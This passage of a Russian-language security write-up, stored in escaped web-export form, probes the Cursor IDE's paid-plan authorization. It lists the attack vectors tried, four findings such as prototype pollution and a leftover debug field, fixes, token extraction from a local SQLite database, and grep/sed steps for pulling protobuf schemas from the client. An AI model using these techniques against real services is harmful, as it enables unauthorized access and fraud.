\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e \u0438\u043c\u0435\u043d\u0438<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>requested_model<\/code> vs <code>model_details<\/code> confusion<\/p>\n<\/td>\n<td>\n<p align=\"left\">Blocked<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">JWT claim manipulation<\/p>\n<\/td>\n<td>\n<p align=\"left\">N\/A<\/p>\n<\/td>\n<td>\n<p align=\"left\">Claims \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043f\u043b\u0430\u043d; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u0437 \u0411\u0414<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">OAuth callback injection<\/p>\n<\/td>\n<td>\n<p align=\"left\">Blocked<\/p>\n<\/td>\n<td>\n<p align=\"left\">WorkOS nonce validation<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Stripe webhook replay<\/p>\n<\/td>\n<td>\n<p align=\"left\">500<\/p>\n<\/td>\n<td>\n<p align=\"left\">Signature verification<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>start-subscription-now<\/code> \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 tier<\/p>\n<\/td>\n<td>\n<p align=\"left\">400<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0422\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Content-Type confusion (gRPC vs Connect)<\/p>\n<\/td>\n<td>\n<p align=\"left\">415\/500<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u0442\u0440\u043e\u0433\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Content-Type<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Internal service header brute force<\/p>\n<\/td>\n<td>\n<p align=\"left\">401<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0422\u043e\u043a\u0435\u043d \u043d\u0435 derivable<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Host header override<\/p>\n<\/td>\n<td>\n<p align=\"left\">404<\/p>\n<\/td>\n<td>\n<p align=\"left\">Load balancer routing<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>custom_system_prompt<\/code> (field 8)<\/p>\n<\/td>\n<td>\n<p align=\"left\">Rejected<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u201cunknown option &#8212;system-prompt\u201d<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>harness<\/code> + <code>subagent_type_name<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">Plan blocked<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041d\u0435 \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 plan check<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Integer overflow \u0432 billing<\/p>\n<\/td>\n<td>\n<p align=\"left\">404<\/p>\n<\/td>\n<td>\n<p align=\"left\">Endpoints \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">gRPC Server Reflection<\/p>\n<\/td>\n<td>\n<p align=\"left\">404<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Feature flag headers<\/p>\n<\/td>\n<td>\n<p align=\"left\">No effect<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435 gates \u043d\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Race condition \u043d\u0430 subscription<\/p>\n<\/td>\n<td>\n<p align=\"left\">N\/A<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0410\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<hr\/>\n<h3>9. \u0427\u0442\u043e Cursor \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e<\/h3>\n<p>\u041d\u0443\u0436\u043d\u043e \u043e\u0442\u0434\u0430\u0442\u044c \u0434\u043e\u043b\u0436\u043d\u043e\u0435 \u2014 \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0430\u0443\u0434\u0438\u0442\u0430, Cursor \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 <strong>\u0437\u0440\u0435\u043b\u0443\u044e<\/strong> security-\u043c\u043e\u0434\u0435\u043b\u044c:<\/p>\n<ol>\n<li>\n<p><strong>Plan check \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439<\/strong> \u2014 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 claims \u0432 JWT \u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u0434\u0451\u0442 \u0438\u0437 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441.<\/p>\n<\/li>\n<li>\n<p><strong>\u0421\u0442\u0440\u043e\u0433\u0438\u0439 protobuf parsing<\/strong> \u2014 wire type confusion \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442\u0441\u044f; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u043d\u0435 \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 routing.<\/p>\n<\/li>\n<li>\n<p><strong>Stripe webhook signature<\/strong> \u2014 webhook-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u043d\u0443\u044e Stripe-\u043f\u043e\u0434\u043f\u0438\u0441\u044c, replay \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d.<\/p>\n<\/li>\n<li>\n<p><strong>OAuth nonce validation<\/strong> \u2014 WorkOS callback \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 nonce, injection \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d.<\/p>\n<\/li>\n<li>\n<p><strong>\u0415\u0434\u0438\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438<\/strong> \u2014 <code>model_details<\/code> \u0438 <code>requested_model<\/code> \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0434\u043d\u0443 \u0438 \u0442\u0443 \u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044f \u0431\u0435\u0440\u0451\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e.<\/p>\n<\/li>\n<li>\n<p><strong>Connect-RPC \u0432\u043c\u0435\u0441\u0442\u043e raw gRPC<\/strong> \u2014 \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 auditing \u0438 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433, \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440.<\/p>\n<\/li>\n<\/ol>\n<hr\/>\n<h3>10. \u0412\u044b\u0432\u043e\u0434\u044b \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438<\/h3>\n<h4>\u041d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<\/h4>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">ID<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0422\u0438\u043f<\/p>\n<\/th>\n<th>\n<p align=\"left\">CWE<\/p>\n<\/th>\n<th>\n<p align=\"left\">Severity<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CURSOR-2025-001<\/p>\n<\/td>\n<td>\n<p align=\"left\">Prototype Pollution<\/p>\n<\/td>\n<td>\n<p align=\"left\">CWE-1321<\/p>\n<\/td>\n<td>\n<p align=\"left\">Medium<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>__proto__<\/code> \u0432 JSON \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 500 \u043d\u0430 billing endpoints<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CURSOR-2025-002<\/p>\n<\/td>\n<td>\n<p align=\"left\">Active Debug Code<\/p>\n<\/td>\n<td>\n<p align=\"left\">CWE-489<\/p>\n<\/td>\n<td>\n<p align=\"left\">Medium<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>devRawModelSlug<\/code> \u043f\u0430\u0440\u0441\u0438\u0442\u0441\u044f \u0432 production<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CURSOR-2025-003<\/p>\n<\/td>\n<td>\n<p align=\"left\">Info Disclosure<\/p>\n<\/td>\n<td>\n<p align=\"left\">CWE-200<\/p>\n<\/td>\n<td>\n<p align=\"left\">Low<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>GetAllowedModelIntents<\/code> \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 service mesh<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CURSOR-2025-004<\/p>\n<\/td>\n<td>\n<p align=\"left\">Improper Input Validation<\/p>\n<\/td>\n<td>\n<p align=\"left\">CWE-20<\/p>\n<\/td>\n<td>\n<p align=\"left\">Low<\/p>\n<\/td>\n<td>\n<p align=\"left\">Subagent fields \u043d\u0435 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u044e\u0442\u0441\u044f<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h4>\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f Cursor<\/h4>\n<ol>\n<li>\n<p><strong>\u0421\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c <\/strong><code><strong>__proto__<\/strong><\/code><strong> \u0438 <\/strong><code><strong>constructor<\/strong><\/code> \u0432 JSON-\u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0435. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>Object.create(null)<\/code> \u0438\u043b\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0442\u0438\u043f\u0430 <code>secure-json-parse<\/code>.<\/p>\n<\/li>\n<li>\n<p><strong>\u0423\u0434\u0430\u043b\u0438\u0442\u044c <\/strong><code><strong>devRawModelSlug<\/strong><\/code> \u0438\u0437 production proto-\u0441\u0445\u0435\u043c\u044b \u0438\u043b\u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044f \u0432 \u043e\u0448\u0438\u0431\u043a\u0435.<\/p>\n<\/li>\n<li>\n<p><strong>\u0423\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438<\/strong> \u2014 <code>GetAllowedModelIntents<\/code> \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c generic 404 \u0432\u043c\u0435\u0441\u0442\u043e \u201cInvalid internal service header\u201d.<\/p>\n<\/li>\n<li>\n<p><strong>\u0412\u0430\u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 proto-\u043f\u043e\u043b\u044f<\/strong> \u2014 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 \u0432 <code>selected_subagent_models<\/code> \/ <code>selected_subagent_model_details<\/code>.<\/p>\n<\/li>\n<\/ol>\n<h4>\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439<\/h4>\n<p>\u0412\u0435\u0441\u044c research \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e:<\/p>\n<ul>\n<li>\n<p><strong>Python 3<\/strong> + <code>httpx<\/code> (HTTP\/2 \u043a\u043b\u0438\u0435\u043d\u0442)<\/p>\n<\/li>\n<li>\n<p><strong>\u0420\u0443\u0447\u043d\u0430\u044f \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f protobuf<\/strong> (\u0431\u0435\u0437 .proto \u0444\u0430\u0439\u043b\u043e\u0432)<\/p>\n<\/li>\n<li>\n<p><code>grep<\/code> \/ <code>sed<\/code> \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043c\u0438\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e JS<\/p>\n<\/li>\n<li>\n<p>SQLite3 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043a\u0435\u043d\u043e\u0432<\/p>\n<\/li>\n<\/ul>\n<h4>\u0418\u0442\u043e\u0433<\/h4>\n<p>Cursor \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 security-aware AI-\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b. Plan check \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439, JWT \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, protobuf parsing \u0441\u0442\u0440\u043e\u0433\u0438\u0439. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, prototype pollution \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 dev-\u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0432 production \u2014 \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 issues, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u0434\u0435\u043b\u0430\u0435\u0442\u0435 SaaS \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u2014 \u0432\u043e\u0442 \u0447\u0435\u043a\u043b\u0438\u0441\u0442 \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f:<\/p>\n<ul>\n<li>\n<p>\u2705 \u041d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 JWT<\/p>\n<\/li>\n<li>\n<p>\u2705 \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u043f\u043b\u0430\u043d \u0438\u0437 \u0411\u0414 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441<\/p>\n<\/li>\n<li>\n<p>\u2705 \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 proto parsing<\/p>\n<\/li>\n<li>\n<p>\u274c \u041d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0439\u0442\u0435 dev-\u043f\u043e\u043b\u044f \u0432 production proto<\/p>\n<\/li>\n<li>\n<p>\u274c \u041d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0439\u0442\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u043e\u0448\u0438\u0431\u043a\u0438<\/p>\n<\/li>\n<li>\n<p>\u274c \u0421\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u0443\u0439\u0442\u0435 <code>__proto__<\/code> \u0432 JSON<\/p>\n<\/li>\n<\/ul>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1028196\/\">https:\/\/habr.com\/ru\/articles\/1028196\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Disclaimer: \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0412\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b. \u041d\u0438\u043a\u0430\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0442\u0440\u0435\u0442\u044c\u0438\u0445 \u043b\u0438\u0446 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b. \u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u0438\u043a.\u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435Cursor \u2014 AI-powered IDE \u043d\u0430 \u0431\u0430\u0437\u0435 VS Code, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0441\u0432\u043e\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b. \u041a\u043e\u0433\u0434\u0430 \u044f \u0437\u0430\u0434\u0443\u043c\u0430\u043b\u0441\u044f \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u0432\u043e\u0437\u043d\u0438\u043a \u0432\u043e\u043f\u0440\u043e\u0441: \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0434\u0451\u0436\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u043e\u0438\u0442 \u043c\u0435\u0436\u0434\u0443 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 Claude 4 Opus?\u0421\u043f\u043e\u0439\u043b\u0435\u0440: \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0433\u043e bypass \u044f \u043d\u0435 \u043d\u0430\u0448\u0451\u043b \u2014 Cursor \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0449\u0438\u0449\u0451\u043d. \u041d\u043e \u043f\u043e \u043f\u0443\u0442\u0438 \u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b 4 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 CVE, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u043d\u0443\u043b API-surface, \u0438\u0437\u0432\u043b\u0451\u043a protobuf-\u0441\u0445\u0435\u043c\u044b \u0438\u0437 1.1M \u0441\u0442\u0440\u043e\u043a \u043c\u0438\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e JS \u0438 \u043d\u0430\u0448\u0451\u043b \u0441\u043a\u0440\u044b\u0442\u044b\u0439 dev-\u0431\u044d\u043a\u0434\u043e\u0440 \u0432 production-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\u0412\u043e\u0442 \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c.\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435\u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430: \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430: Connect-RPC, \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\u041f\u043e\u043b\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 API-surfaceCVE-1: Prototype Pollution (CWE-1321)CVE-2: devRawModelSlug \u2014 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 (CWE-489)CVE-3: Internal Service Header Information Disclosure (CWE-200)CVE-4: Protobuf Field Injection &amp; Wire Type Confusion\u041f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u0427\u0442\u043e Cursor \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0412\u044b\u0432\u043e\u0434\u044b \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u04381. \u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430: \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430Cursor \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430 VS Code (Electron). \u0412\u0435\u0441\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043a\u043e\u0434 \u043b\u0435\u0436\u0438\u0442 \u0432:resources\/app\/out\/vs\/workbench\/workbench.desktop.main.js1,144,696 \u0441\u0442\u0440\u043e\u043a \u043c\u0438\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e JavaScript. \u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u2014 \u0437\u043e\u043b\u043e\u0442\u0430\u044f \u0436\u0438\u043b\u0430: \u0442\u0443\u0442 \u0432\u0441\u0435 protobuf-\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f, URL-\u044b API, OAuth-\u0444\u043b\u043e\u0443, Statsig feature gates \u0438 \u043b\u043e\u0433\u0438\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 protobuf-\u0441\u0445\u0435\u043cCursor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Connect-RPC (https:\/\/connectrpc.com\/) \u2014 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 RPC-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u043f\u043e\u0432\u0435\u0440\u0445 HTTP\/2. \u0412\u0441\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u043f\u0440\u044f\u043c\u043e \u0432 JS-\u0431\u0430\u043d\u0434\u043b\u0435:\/\/ \u041d\u0430\u0439\u0434\u0435\u043d\u043e \u0447\u0435\u0440\u0435\u0437 grep &#171;typeName.*agent.v1&#8243;var $hl = {    typeName: &#171;agent.v1.AgentService&#187;,    methods: {        run: {            name: &#171;Run&#187;,            I: ndi,   \/\/ AgentRunRequest            O: CPt,   \/\/ AgentRunResponse (streaming)            kind: vn.ServerStreaming        },        \/\/ &#8230;    }};\u0414\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0446\u0435\u043f\u043e\u0447\u043a\u0443 grep \u2192 sed \u2192 \u0440\u0443\u0447\u043d\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0437:grep -n &#171;typeName.*agent.v1.AgentRunRequest&#187; workbench.desktop.main.js# -&gt; 448073: C(ndi, &#171;typeName&#187;, &#171;agent.v1.AgentRunRequest&#187;), C(ndi, &#171;fields&#187;&#8230;sed -n &#8216;448073,448200p&#8217; workbench.desktop.main.js\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u043f\u043e\u043b\u043d\u0430\u044f proto-\u0441\u0445\u0435\u043c\u0430 AgentRunRequest:\/\/ \u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0441\u0445\u0435\u043c\u0430 (17 